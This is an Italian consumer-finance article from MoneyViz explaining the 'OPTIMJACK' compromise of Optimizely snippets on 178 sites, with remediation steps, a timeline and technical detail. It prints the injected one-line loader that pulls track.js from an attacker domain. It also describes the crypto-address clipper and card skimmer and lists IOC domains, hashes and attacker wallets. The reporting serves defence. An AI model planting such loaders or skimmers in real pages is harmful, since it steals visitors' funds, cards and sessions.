17 NOVEMBRE 2026 • 19 MIN DI LETTURA • DANILO GIUDICE

Attacco crypto massivo: 178 siti colpiti, da Ledger a BBC e HSBC

Il sito era giusto: era il contenuto a essere sbagliato. Per 17 ore 178 siti, da Ledger a BBC e HSBC, hanno servito un programma che sostituisce gli indirizzi crypto, legge le carte e attacca gli iPhone non aggiornati. Verifica se ti riguarda e che cosa fare subito, con l’analisi di MoneyViz.



VERIFICA SE RIENTRI NEI CASI A RISCHIO

Hai usato uno dei siti coinvolti fra le **05:21 e le 22:52 (ora italiana) di lunedì 16 novembre 2026**? Cerca qui sotto l’attività che hai svolto e il controllo corrispondente.

- **Hai copiato o incollato un indirizzo crypto** → verifica la destinazione di ogni invio di quel giorno, prima che i fondi si allontanino
- **Hai pagato digitando la carta nel modulo del sito** → chiedi oggi stesso alla banca di bloccarla e sostituirla
- **Hai aperto il sito da iPhone o iPad** → aggiorna ad almeno **iOS 18.7.3** o **iOS 26.3**
- **Eri connesso con il tuo account** → esci da tutte le sessioni e cambia la password
- **Da oggi in poi** → l’indirizzo si verifica sulla schermata del portafoglio, mai sulla pagina da cui lo copi

Il sito era giusto: era il contenuto a essere sbagliato.

Apri un sito che conosci da anni. L’indirizzo nella barra è quello vero, il lucchetto è chiuso, il certificato è valido. Copi un indirizzo crypto, lo incolli nel portafoglio, confermi l’invio. Tutto è in regola, e i fondi finiscono a qualcun altro. Lunedì 16 novembre 2026, per diciassette ore, questa scena è stata possibile sui siti di 178 organizzazioni, fra cui

BBC, CNN, Zoom, HSBC, Equifax, IKEA e, nel mondo crypto e del trading, Ledger, IG, OANDA, interactive investor, TMS Brokers e Betashares.

Il codice è stato rimosso in serata, ma il danno non si chiude con la pulizia: una transazione crypto inviata all'indirizzo sbagliato è definitiva, e i numeri delle carte e i cookie già usciti dal browser non tornano indietro. **Se quel giorno hai spostato criptovalute o pagato online su uno di quei siti, i controlli vanno fatti adesso.**

Per capire come si arriva a quella scena bisogna guardare un passo più indietro dei siti. Immagina un centro commerciale con 178 negozi e una sola impresa di pulizie che ha le chiavi di tutti. Una notte qualcuno si procura il mazzo dell'impresa, entra negozio per negozio e sostituisce il cartellino con le coordinate di pagamento appoggiato sul bancone. Il giorno dopo le vetrine sono identiche, le serrature intatte, i commessi sono gli stessi. Solo il cartellino è cambiato. Tieni a mente quel cartellino: ci servirà ancora.

L'impresa di pulizie, in questo caso, si chiama **Optimizely**: una piattaforma che le grandi aziende usano per fare esperimenti sulle proprie pagine web. L'attacco, battezzato **OPTIMJACK** dal ricercatore Amirul Cyber e documentato da Scott Helme di Report URI, è passato da lì. In questa analisi di **MoneyViz** trovi prima se sei coinvolto e che cosa fare, poi come è successo, ora per ora, e verso la fine l'approfondimento tecnico su come funziona il programma.

Sono coinvolto?

Due domande: hai usato uno dei siti colpiti, e che cosa ci hai fatto. Parti dalla prima.

Hai usato uno di questi siti?

178 organizzazioni di venti settori, fra cui banche, broker, exchange e grandi testate giornalistiche. Scott Helme ha scaricato e analizzato 1.611 snippet distinti di Optimizely e ne ha trovati 188 infetti; il numero reale è probabilmente più alto, perché non tutti gli snippet sono pubblicamente raggiungibili. Fra i nomi più rilevanti per chi investe:

- **crypto e trading:** Ledger, IG, OANDA / Coinpass, interactive investor, TMS Brokers, Betashares;
- **banche e finanza:** HSBC (Stati Uniti, Hong Kong, Messico, Singapore, Australia, Emirati, Malesia, Taiwan, Vietnam, Egitto, Filippine), ABN AMRO, Equifax, Paychex, Funding Circle, S-Pankki, Hang Seng Investment;
- **media e tecnologia:** BBC, CNN, Fox News, Zoom, Salesforce, GitLab, Smartsheet;
- **commercio e viaggi:** IKEA, Air France-KLM, Peacock, TalkTalk.

Il caso di **Ledger** merita una precisazione: a essere infetto era lo snippet del sito web, ripulito alle 21:41 ora italiana, non i dispositivi Ledger né il loro software. Chi ha copiato un indirizzo dal sito Ledger quel giorno rientra comunque nel primo profilo di rischio della tabella.

Che cosa ci hai fatto?

Il rischio dipende da che cosa hai fatto su quei siti il 16 novembre, non dal fatto di averli visitati. La semplice lettura di un articolo della BBC su un computer non espone a nulla di irreparabile: il programma cercava indirizzi crypto, numeri di carta, cookie e dispositivi iOS vulnerabili. La finestra di esposizione va dalle 05:21 alle 22:52 ora italiana (04:21–21:52 UTC), con la maggior parte dei siti ripuliti fra le 21:40 e le 22:10.

CHE COSA HAI FATTO	RISCHIO	CHE COSA FARE
Hai copiato un indirizzo crypto da una pagina e l'hai incollato nel portafoglio	**Alto**: l'indirizzo può essere stato sostituito	Verifica la destinazione di ogni invio del giorno
Hai scritto o incollato un indirizzo in un modulo di quei siti	**Alto**: lo scambio avveniva anche nei campi	Come sopra
Hai pagato digitando la carta nei campi del sito	**Alto**: numero, scadenza e codice sono stati inviati all'esterno	Blocca e sostituisci la carta
Hai pagato in una finestra di Stripe, Adyen, PayPal o simili	Basso: quella finestra era fuori portata	Controlla comunque l'estratto conto
Eri connesso al tuo account su uno di quei siti	Medio: i cookie non protetti sono stati copiati	Esci da tutte le sessioni, cambia la password
Hai aperto uno di quei siti da iPhone o iPad con iOS 18.6 o precedente	**Alto**: il telefono è stato esposto a un attacco	Aggiorna subito, valuta un controllo del dispositivo
Hai solo letto pagine da computer, senza copiare né pagare	Basso	Aggiorna il browser e prosegui

Che cosa hai fatto il 16 novembre, e che cosa rischi

Che cosa devo fare?

Quattro fronti, in ordine di urgenza: criptovalute, carte, telefono, account. I primi due hanno una scadenza pratica, perché più passa il tempo più è difficile fermare i fondi e contestare gli addebiti.

1. Le criptovalute: verifica gli invii del 16 novembre

1. Apri lo storico del portafoglio o dell'exchange e filtra i prelievi del 16 novembre 2026.
2. Per ogni invio, confronta l'indirizzo di destinazione con quello che intendevi usare, preso da una **fonte diversa** dalla pagina da cui l'avevi copiato: la schermata del destinatario, un messaggio ricevuto in precedenza, la rubrica del portafoglio.
3. Confrontalo anche con gli indirizzi attribuiti all'attacco, nella tabella qui sotto. L'elenco è parziale: il programma è stato ricostruito 26 volte in un giorno, aggiungendo indirizzi.
4. Se l'indirizzo non è quello giusto, conserva subito l'hash della transazione e uno screenshot della pagina da cui avevi copiato l'indirizzo.
5. **Avvisa l'exchange da cui hai inviato** e, se lo conosci, quello di destinazione: gli exchange regolamentati possono congelare i fondi quando arrivano sui loro conti. Report URI ha osservato che parte dei fondi è stata spostata verso exchange già alle 14:03 ora italiana del 16 novembre, quindi la tempestività conta.
6. Presenta denuncia alla Polizia Postale, allegando hash, screenshot e indirizzo. Serve anche ai fini fiscali, come vedremo in fondo.

> **USI GIÀ MONEYVIZ?**
>
> Parti dallo **storico aggregato** per individuare i prelievi del 16 novembre su tutti gli exchange e i portafogli che hai collegato, in un'unica vista: data, piattaforma, asset, quantità e, quando la fonte lo fornisce, l'hash della transazione. Per ciascun prelievo, apri poi il dettaglio sull'exchange o su un explorer della rete e confronta l'indirizzo di destinazione con una fonte indipendente. È il modo più rapido per non dimenticare un invio fatto da una piattaforma che non apri tutti i giorni.

RETE	INDIRIZZO	RICEVUTO AL 16 NOVEMBRE
Bitcoin	`19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW`	0,08298 BTC (~5.380 $), 7 transazioni
Ethereum e BNB Smart Chain	`0xC4026b06D82b0F0B363eda0642D61CfbDc17884e`	0,074 ETH (~100 $) + 82 USDT
TRON	`THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa`	662,9 USDT + 184 TRX (~719 $), 50 transazioni
Litecoin	`ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5`	17,02 LTC (~762 $)
Solana	`FVtL8NMYS9PA1v3HE67XUGCtGA9JaZUvqav2fU2LrV5n`	nessun incasso
TON	`UQAgM1VqSZQiJLSG5w-ovurq5CZdxLEK3_7CMmwALTA5e09p`	nessun incasso
Bitcoin Cash	`qzkaaf8n6grmpr0d9lx8xutn3r9lk722f566hhpe58`	nessun incasso
Dogecoin	`DBEGrxRF7KMSuhTS4c1MFviStU6efdMnu5`	nessun incasso

Gli indirizzi di destinazione noti dell'attacco (elenco parziale)

2. Le carte: blocca e sostituisci

Se hai digitato i dati della carta direttamente nei campi di uno dei siti colpiti, considera la carta compromessa: il programma ne ha letto numero, scadenza e codice di sicurezza e li ha inviati all'esterno. Chiama la banca, blocca la carta, chiedi la sostituzione e controlla gli addebiti dei prossimi giorni. Se hai pagato in una finestra di un fornitore di pagamento (Stripe, Adyen, PayPal e simili, riconoscibili perché si aprono dentro un riquadro separato), quei dati non erano raggiungibili.

3. Il telefono: aggiorna iOS

Apri *Impostazioni* > *Generali* > *Aggiornamento software* e installa l'ultima versione disponibile. La soglia di sicurezza indicata da Report URI è **iOS 18.7.3** per chi è sul ramo 18, **iOS 26.3** per chi è sul ramo 26. Se il tuo dispositivo non può aggiornarsi subito, attiva la modalità di isolamento, che disattiva proprio le funzioni del browser sfruttate da questo tipo di attacchi. Se hai aperto uno dei siti colpiti con iOS 18.6 o precedente e sul telefono tieni l'app di un exchange o un portafoglio, sposta per prudenza i fondi verso un indirizzo generato su un dispositivo diverso.

4. Gli account: chiudi le sessioni

Il programma ha copiato i cookie che la pagina poteva leggere. Su alcuni siti questi cookie bastano a riaprire una sessione già autenticata. Esci da tutte le sessioni attive dalle impostazioni dell'account, cambia la password e attiva, se non l'avevi già fatto, la verifica in due passaggi.

Come è successo? La giornata del 16 novembre, ora per ora

Non è stato un colpo improvvisato: le prove raccolte da Report URI mostrano due mesi di preparazione e una giornata in cui il programma è stato modificato mentre era già in circolazione. Gli orari qui sotto sono in ora italiana; tra parentesi l'ora UTC usata dalle fonti.

Le settimane prima

- **17 settembre** — Lo stesso autore usa per la prima volta il dominio `webshell.lol`, attraverso uno script di "pannello backlink" su siti turchi.
- **9 novembre** — Viene registrato `5vobauua3ojpklx.icu`, il server che smisterà gli attacchi per iPhone. Una settimana prima del giorno X.
- **13–16 novembre** — Un'ondata precedente inietta `webshell.lol/get.js` attraverso altri fornitori di script: Kissmetrics, StorifyMe e Minute Media. È il segnale che l'autore stava già cercando fornitori con accesso a molti siti.

Lunedì 16 novembre

- **05:21 (04:21 UTC)** — Prima iniezione osservata in uno snippet Optimizely, quello della BBC, che carica `webshell.lol`. L'ultima copia pulita dello stesso snippet risale alle 03:21.
- **05:28–06:23** — Vengono emessi i certificati per `1688360.cc`; il dominio risulta registrato alle 06:23.
- **09:10** — Prima versione di `track.js`: per ora è solo lo scambia-indirizzi crypto.
- **09:28** — `track.js` compare per la prima volta su bbc.com.
- **12:20** — Viene modificato lo snippet di Zoom.
- **14:03** — I primi incassi vengono spostati verso exchange.
- **14:43** — Al programma si aggiunge il modulo che legge le carte.
- **17:38** — Registrato `eil786npto9u5bq.icu`, secondo server per gli iPhone.
- **18:13–18:57** — Il secondo server entra in funzione: ogni visita da iOS 18.6 o precedente riceve una cornice invisibile verso il kit di attacco.
- **20:24–20:59** — La scansione di Report URI trova 186 snippet infetti su 1.611.
- **21:40–22:10** — Pulizia di massa: Ledger alle 21:41, Smartsheet alle 21:56, BBC alle 22:07.
- **22:52** — Resta infetto un solo snippet su 188, quello di TalkTalk.

Martedì 17 novembre

Optimizely conferma l'incidente: una parte non autorizzata ha sfruttato una vulnerabilità nel flusso di registrazione degli account Experimentation per aggiungere codice malevolo ai progetti di alcuni clienti. L'azienda dichiara di aver bloccato il percorso vulnerabile, rimosso il codice, chiuso le sessioni attive, revocato i token, azzerato gli accessi degli account coinvolti, bloccato la distribuzione del codice anche su Cloudflare e avvisato i clienti interessati. Gli aggiornamenti dell'indagine sono su status.optimizely.com.



Le sette tappe della giornata in orario UTC (in Italia, un'ora in più). Elaborazione MoneyViz su dati Report URI.

Che cosa sappiamo, e che cosa non sappiamo ancora?

Sappiamo come funziona il programma e chi è stato colpito; non sappiamo ancora come l'autore abbia ottenuto l'accesso in scrittura a tanti progetti di clienti diversi. Optimizely parla di una vulnerabilità nella registrazione degli account; Report URI scrive esplicitamente di non sapere se si tratti di un sistema interno compromesso, di una credenziale con accesso trasversale ai clienti o di altro, e che la spiegazione spetta a Optimizely.

Restano aperti altri punti che vale la pena seguire: quanti progetti siano stati modificati oltre ai 188 osservati, se l'elenco degli indirizzi di destinazione sia completo, quanti dati di carte e cookie siano stati raccolti, e quanti dispositivi iOS siano stati effettivamente compromessi. Aggiorneremo questo articolo quando Optimizely pubblicherà i risultati dell'indagine.

Quanto è stato sottratto finora?

Sul fronte crypto, circa 7.000 dollari ricevuti dagli indirizzi noti entro la sera del 16 novembre, quasi tutti in bitcoin. Il dettaglio, rete per rete, è nella tabella degli indirizzi più sopra. Su Solana, TON, Bitcoin Cash e Dogecoin, nessun incasso.

Il numero va letto per quello che è: un minimo. Comprende solo gli indirizzi individuati dai ricercatori e non dice nulla delle carte, dei cookie e dei dispositivi iOS raggiunti, che non lasciano tracce pubbliche e il cui valore per chi li ha raccolti si vedrà nelle prossime settimane. La sproporzione fra la visibilità dei siti e l'incasso crypto dice una cosa sola: la maggior parte dei visitatori quel giorno non ha spostato criptovalute copiando indirizzi da quelle pagine. Non dice che il rischio sia stato piccolo.

> **DA QUI IN POI: L'APPROFONDIMENTO TECNICO**
>
> Le sezioni che seguono spiegano come funziona Optimizely, come il codice è entrato nei siti e che cosa faceva, modulo per modulo. Servono a chi vuole capire il meccanismo, a chi gestisce un sito e a chi deve proteggere una rete aziendale. Se ti interessano solo i controlli da fare, li hai già trovati sopra.

Che cos'è Optimizely e perché il suo codice gira su siti così grandi?

Optimizely è uno strumento per fare esperimenti sulle pagine web, e per funzionare deve poter modificare la pagina mentre la guardi. Un'azienda lo usa per provare, per esempio, due versioni di un pulsante e misurare quale funziona meglio. Per farlo, ogni pagina del sito carica uno *snippet* — un file JavaScript — da un indirizzo del tipo `cdn.optimizely.com/js/<numero-progetto>.js`, oppure da un sottodominio dell'azienda stessa.

Dentro quello snippet ci sono il codice di Optimizely, gli esperimenti del cliente e un campo facoltativo chiamato **Project JavaScript** (`projectJS`): uno spazio in cui il cliente può scrivere codice libero, eseguito su ogni pagina. È lo strumento giusto per chi deve fare esperimenti, ed è anche, per costruzione, un ingresso con privilegi pieni su tutto il sito.

> **SNIPPET, CDN E SUPPLY CHAIN, IN PAROLE SEMPLICI**
>
> Uno **snippet** è un frammento di codice che un sito incorpora da un fornitore esterno. Una **CDN** (*Content Delivery Network*) è la rete di server che distribuisce quel file in tutto il mondo, velocemente. Si parla di attacco alla **supply chain** quando non viene colpito il sito, ma un fornitore di cui il sito si fida: il codice malevolo arriva attraverso un canale legittimo e viene eseguito con gli stessi permessi del sito che lo ospita. Nel nostro centro commerciale, è l'impresa di pulizie con le chiavi.



Il percorso del codice: ogni anello era legittimo, tranne il contenuto del primo. Elaborazione MoneyViz su dati Report URI e BleepingComputer.

Come è entrato il codice nei siti?

Non è stato manomesso il CDN: Optimizely ha distribuito esattamente quello che c'era nei progetti, ed era stato scritto lì da chi aveva ottenuto l'accesso. È la differenza fra un furgone dirottato e un ordine falso inserito nel magazzino: il corriere consegna correttamente, ma consegna la cosa sbagliata. Per questo il lucchetto del browser era chiuso e il certificato valido: dal punto di vista tecnico, tutto era in regola.

Nella maggior parte degli snippet il codice aggiunto era un caricatore di una sola riga. Questo è quello trovato nello snippet di Zoom:

```
"projectJS": function(){(function(){try{var s=document.createElement('script');
s.src='https://1688360.cc/track.js';s.async=true;
(document.head||document.documentElement).appendChild(s);}catch(e){}})();
```

Crea un elemento `script`, gli assegna come sorgente il file `track.js` sul dominio dell'autore e lo aggiunge alla pagina; il `try/catch` serve a non lasciare errori visibili nella console. Report URI ha osservato tre varianti:

- il caricatore in chiaro, come quello sopra;
- lo stesso indirizzo nascosto in Base64 e decodificato con `atob()`, per sfuggire a chi cerca il nome del dominio nel codice;
- l'intero programma incorporato nello snippet, eseguito con `eval` se il dominio esterno risulta bloccato. È la variante più pericolosa, perché funziona anche dove i filtri di rete hanno già fermato `1688360.cc`.

Nel corso della giornata `track.js` è stato ricostruito **26 volte**: nuove funzioni, nuovi indirizzi di destinazione, nuovi server. Chi ha analizzato il file al mattino e chi lo ha analizzato la sera hanno visto due programmi diversi.

Come funziona lo scambio degli indirizzi crypto?

Cerca nella pagina qualsiasi indirizzo valido di nove reti e lo sostituisce con uno controllato dall'autore, verificandone prima la correttezza. Questa famiglia di programmi si chiama *clipper*, perché il bersaglio classico sono gli appunti (*clipboard*). Le reti coinvolte sono Bitcoin, Ethereum e le reti compatibili, TRON, Solana, TON, Litecoin, Bitcoin Cash e Dogecoin. Lo scambio avviene in tutti i punti da cui un indirizzo può passare:

- **nel testo della pagina**, nei campi dei moduli, nei link e nelle immagini (per esempio un codice QR), con una nuova scansione ogni volta che la pagina cambia;
- **negli appunti**, sia al momento della copia sia attraverso le funzioni del browser che leggono e scrivono la clipboard (`navigator.clipboard`);
- **nelle richieste in uscita** che la pagina invia ai server (`fetch` e `XMLHttpRequest`), nell'apertura di nuove finestre, nella navigazione e nel menu di condivisione di iOS.

Gli indirizzi originali vengono messi da parte e inviati all'autore insieme agli altri dati: sa quindi a chi era destinato ogni pagamento intercettato.

Torniamo al cartellino sul bancone. Il cliente del negozio non ha motivo di dubitare: il negozio è quello giusto, il commesso è quello di sempre, il cartellino è nello stesso posto. È esattamente la posizione di chi copia un indirizzo da un sito che conosce e lo incolla nel proprio portafoglio. L'unico controllo che funziona è quello che si fa *dopo*, sulla schermata del portafoglio, confrontando l'indirizzo con una fonte diversa dalla pagina da cui è stato copiato.

> **PERCHÉ IL CHECKSUM NON TI PROTEGGE**
>
> Ogni indirizzo crypto contiene una cifra di controllo, il **checksum**, calcolata in modo diverso a seconda della rete (Base58Check per Bitcoin e TRON, Bech32 per gli indirizzi `bc1` e `ltc1`, il formato con maiuscole e minuscole di Ethereum, CashAddr per Bitcoin Cash). Serve a intercettare gli errori di battitura: se sbagli un carattere, il portafoglio rifiuta l'indirizzo. Non può però accorgersi che hai incollato un indirizzo **diverso ma valido**. Un clipper come questo verifica il checksum proprio per sostituire solo indirizzi autentici con altri indirizzi autentici, quindi il portafoglio li accetta senza nessun avviso. È lo stesso principio sfruttato dall'*address poisoning*, che tratteremo in una prossima puntata di Anatomia di una truffa.

Come funziona il furto delle carte e degli altri dati?

Dalle 14:43 ora italiana il programma riconosce numeri di carta validi, date di scadenza e codici di sicurezza, li intercetta e li spedisce a un server esterno. Per distinguere un numero di carta vero da una sequenza qualsiasi usa l'algoritmo di Luhn, lo stesso che usano i negozi per segnalare un numero digitato male. Legge i dati dai moduli e dalle richieste che la pagina invia ai server, e li trasmette a `1688360.cc/card.php` con `navigator.sendBeacon`, una funzione del browser pensata per inviare piccole statistiche anche mentre la pagina si chiude.

Il limite è importante: le carte inserite nelle finestre di pagamento ospitate da fornitori come Stripe o Adyen **erano fuori portata**. Quelle finestre sono un *iframe*, cioè una pagina di un altro dominio incastonata nel sito, e il browser

impedisce a una pagina di leggere il contenuto di un’altra pagina di origine diversa. Erano esposte solo le carte digitate nei campi del sito stesso.

Su `1688360.cc/hit.php`, invece, arrivano:

- l’indirizzo della pagina visitata;
- i cookie leggibili dal codice della pagina, cioè quelli non protetti dall’attributo `HttpOnly`;
- gli indirizzi crypto originali che il programma ha sostituito;
- un’immagine della pagina, generata con la libreria html2canvas caricata dallo stesso server.

Che cosa succede sugli iPhone?

Sui dispositivi Apple il programma carica una seconda fase che sceglie un attacco diverso a seconda della versione di iOS. Se riconosce un iPhone, un iPad o un iPad che si presenta come Mac, scarica il file `boot.js` da uno dei due domini `.icu`; questo legge la versione del sistema e carica, in una cornice invisibile, la catena di attacco adatta:

VERSIONE DI IOS	CHE COSA VIENE CARICATO	SEI AL SICURO SE HAI
da 13 a 17	il kit **Coruna**	un aggiornamento a iOS 18.7.3 o 26.3
18.x	il kit **DarkSword**	iOS 18.7.3 o successivo
26.x	una catena separata che per ora si limita a identificare il dispositivo	iOS 26.3 o successivo

Che cosa riceve un iPhone, a seconda della versione

Coruna e DarkSword sono raccolte di vulnerabilità del motore di Safari usate per prendere il controllo del telefono con la semplice visita di una pagina: non serve installare nulla, né toccare alcun pulsante. Un dettaglio mostra quanto l’attacco fosse insistente: sui dispositivi con iOS 18.6 o precedente la pagina si ricaricava **ogni 60 secondi** per ritentare. La difesa è una sola ed è efficace: aggiornare il sistema.

Perché la CSP ha protetto 24 siti?

Perché i siti che dichiarano al browser da quali domini possono caricare codice e verso quali possono inviare dati hanno fermato, almeno in parte, il programma. Secondo Report URI, il **15% dei siti colpiti (24)** ha bloccato il caricamento o l’invio dei dati grazie alla propria *Content Security Policy*.

CHE COS'È LA CONTENT SECURITY POLICY

La **CSP** (*Content Security Policy*) è un elenco, inviato dal sito al browser, dei soli domini da cui la pagina può caricare script (`script-src`) e verso cui può inviare dati (`connect-src`). Se un codice estraneo prova a contattare un dominio non in elenco, il browser lo blocca e, se configurato, lo segnala. Non impedisce a un fornitore autorizzato di servire codice cattivo, ma può impedire a quel codice di parlare con l'esterno. Contro la variante con il programma incorporato ed eseguito con `eval`, è decisivo non consentire `unsafe-eval`. La documentazione di riferimento è su MDN.

Quali indicatori tecnici bloccare?

Tre domini e una manciata di percorsi, utili per i responsabili IT e per chi usa un filtro DNS in casa. L'elenco ad alta confidenza, raccolto dalle analisi pubbliche:

TIPO	VALORE	RUOLO
Dominio	`1688360.cc`	server principale: `/track.js`, `/hit.php`, `/card.php`, `/html2canvas.min.js`
Dominio	`5vobauua3ojpklx.icu`	smistamento verso i kit per iOS (`/boot.js`)
Dominio	`eil786npto9u5bq.icu`	secondo smistamento per iOS (`/boot.js`, `/JIUJIU888/`)
Dominio	`webshell.lol`	iniettore usato nelle ondate precedenti e nella prima iniezione su Optimizely
SHA-256	`f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40`	una versione di track.js (ne esistono almeno 26)
SHA-256	`2f69879f1c5bdfe9c075ef67ddb6405afe992aff89dcf42863567f83237d3ba6`	boot.js

Indicatori di compromissione (IOC) di OPTIMJACK

Che cosa devono fare le aziende che usano Optimizely?

Ispezionare il codice che servono, non solo quello che scrivono. Le indicazioni di Report URI per chi usa Optimizely Web:

1. aprire il Project JavaScript di ogni progetto e il codice personalizzato di ogni esperimento, cercando `1688360.cc`, `webshell.lol`, `atob(` e qualsiasi script non scritto dal team;
2. rivedere chi e che cosa ha accesso in scrittura all'account (utenti, token API, integrazioni) e ruotare le credenziali;
3. considerare esposte le carte inserite il 16 novembre nei moduli del sito e i segreti conservati in cookie non `HttpOnly`, e ruotarli;

4. adottare una CSP con `connect-src` ristretto, evitando `unsafe-eval` dove possibile, e con la segnalazione delle violazioni attiva;
5. valutare se comunicare ai propri clienti di aver servito loro codice malevolo.

Chi usa altri fornitori di script con accesso a molti siti (strumenti di analisi, chat, widget) ha un motivo in più per fare lo stesso controllo: l'ondata del 13 novembre era passata da Kissmetrics, StorifyMe e Minute Media.

Che cosa resta, a chi detiene criptovalute?

Che la fiducia nel sito non si trasferisce all'indirizzo che il sito ti mostra. Per anni il consiglio standard è stato "controlla di essere sul sito giusto". Lo abbiamo visto in apertura: il 16 novembre quel controllo passava, e non bastava. È il cartellino sul bancone del nostro centro commerciale: vetrina vera, commesso vero, coordinate false, e nessun segno visibile di effrazione.

La difesa, quindi, si sposta dal luogo in cui copi al luogo in cui l'operazione si conclude. Le abitudini che reggono anche contro un fornitore compromesso:

- **verifica l'indirizzo sulla schermata del portafoglio**, meglio se su un dispositivo fisico (*hardware wallet*), confrontando almeno i primi e gli ultimi sei caratteri con una fonte indipendente;
- **usa la rubrica del portafoglio** per gli indirizzi ricorrenti, invece di copiarli ogni volta da una pagina web;
- **fai un piccolo invio di prova** prima di un trasferimento importante, e verifica che sia arrivato al destinatario giusto;
- **tieni aggiornati telefono e browser**: la seconda fase di questo attacco colpiva solo chi era rimasto indietro.

Chi tiene in ordine il proprio storico, per esempio con **MoneyViz**, ha anche un vantaggio pratico quando qualcosa va storto: sa in pochi minuti quali prelievi ha fatto, da quali piattaforme, in quale data e con quale hash, ed è quella la documentazione che chiedono exchange e forze dell'ordine.

> **NOTA FISCALE: CRYPTO PERSE PER UN FURTO**
>
> Il furto non è una cessione: non c'è corrispettivo e non c'è realizzo, quindi non genera né plusvalenza né minusvalenza deducibile. Cambia però il monitoraggio: con una denuncia formale il bene sottratto esce dal quadro RW, perché non lo detieni più, mentre senza denuncia formalmente risulta ancora tuo e va dichiarato. Per i dettagli: quadro RW crypto 2026, guida alla compilazione e quadro RT crypto 2026.

Torniamo un'ultima volta al centro commerciale. Dopo una notte così, nessuno chiede ai clienti di smettere di entrare nei negozi: chiede loro di guardare il cartellino con occhi diversi, e ai negozianti di ridurre il numero di chiavi in circolazione. Per chi sposta criptovalute la lezione è la stessa: **non fidarti del cartellino, verifica dove arrivano i soldi**.

> **VERSIONE DA STAMPARE**
>
> Questo approfondimento, con la lista dei controlli e la tabella degli indirizzi, lo puoi scaricare in PDF, per leggerlo con calma o girarlo a chi ti ha chiesto se deve preoccuparsi.

Fonti

- Report URI (Scott Helme) — World’s Largest Brands Infected With Malware Via Optimizely, 16 novembre 2026
- BleepingComputer — la dichiarazione di Optimizely e il conteggio dei fondi ricevuti
- Optimizely — pagina di stato con gli aggiornamenti dell’indagine
- SecurityOnline — OPTIMJACK: 178 marchi colpiti
- The Defiant — il programma crypto negli script Optimizely
- BleepingComputer — il kit Coruna per iOS
- BleepingComputer — il kit DarkSword per iOS
- Apple — la modalità di isolamento
- MDN — Content Security Policy
- Polizia Postale — portale per la denuncia online
- MoneyViz — quadro RW crypto 2026: guida completa alla compilazione

Domande frequenti

Che cos’è OPTIMJACK?

È l’attacco del 16 novembre 2026 che ha inserito codice malevolo nel campo Project JavaScript di molti progetti Optimizely Web Experimentation. Optimizely lo attribuisce a una vulnerabilità nella registrazione degli account. Per circa 17 ore quel codice è stato distribuito dai server ufficiali di Optimizely ai visitatori di 178 organizzazioni, fra cui BBC, CNN, Zoom, HSBC e Ledger: sostituiva gli indirizzi crypto, leggeva le carte digitate nei moduli, copiava i cookie e attaccava gli iPhone non aggiornati.

Come faccio a sapere se un mio indirizzo crypto è stato scambiato?

Apri lo storico del portafoglio o dell’exchange e confronta l’indirizzo di destinazione di ogni invio del 16 novembre 2026 con quello che intendevi usare, preso da una fonte diversa dalla pagina da cui l’avevi copiato. Puoi anche confrontarlo con gli indirizzi attribuiti all’attacco e pubblicati dai ricercatori, sapendo che l’elenco è parziale.

Ho pagato con carta su uno dei siti colpiti: sono a rischio?

Dipende da dove hai inserito i dati. Le carte digitate nei campi del sito stesso erano esposte; quelle inserite nelle finestre di pagamento ospitate da fornitori come Stripe o Adyen no, perché il browser impedisce a una pagina di leggerne il contenuto. Nel dubbio, controlla l’estratto conto e chiedi alla banca di sostituire la carta.

Il mio iPhone può essere stato colpito?

Il codice sceglieva un attacco diverso a seconda della versione: il kit Coruna da iOS 13 a 17, il kit DarkSword su iOS 18, mentre su iOS 26 si limitava a identificare il dispositivo. Aggiornare a iOS 18.7.3 o successivo, oppure a iOS 26.3 o successivo, chiude le vulnerabilità usate. Chi non può aggiornare subito può attivare la modalità di isolamento di Apple.

Le crypto inviate per errore all’indirizzo sbagliato si possono recuperare?

Sulla blockchain non esiste uno storno, quindi la transazione non si annulla. Conserva l’hash e uno screenshot della pagina, segnala l’indirizzo all’exchange da cui hai inviato, che può collaborare al congelamento se i fondi arrivano su piattaforme regolamentate, e presenta denuncia alla Polizia Postale. La denuncia serve anche ai fini fiscali, per far uscire il bene sottratto dal quadro RW.

Articolo pubblicato su moneyviz.it — Another Block In The Wallet. Le immagini sono in pubblico dominio, i crediti sono indicati nell'articolo.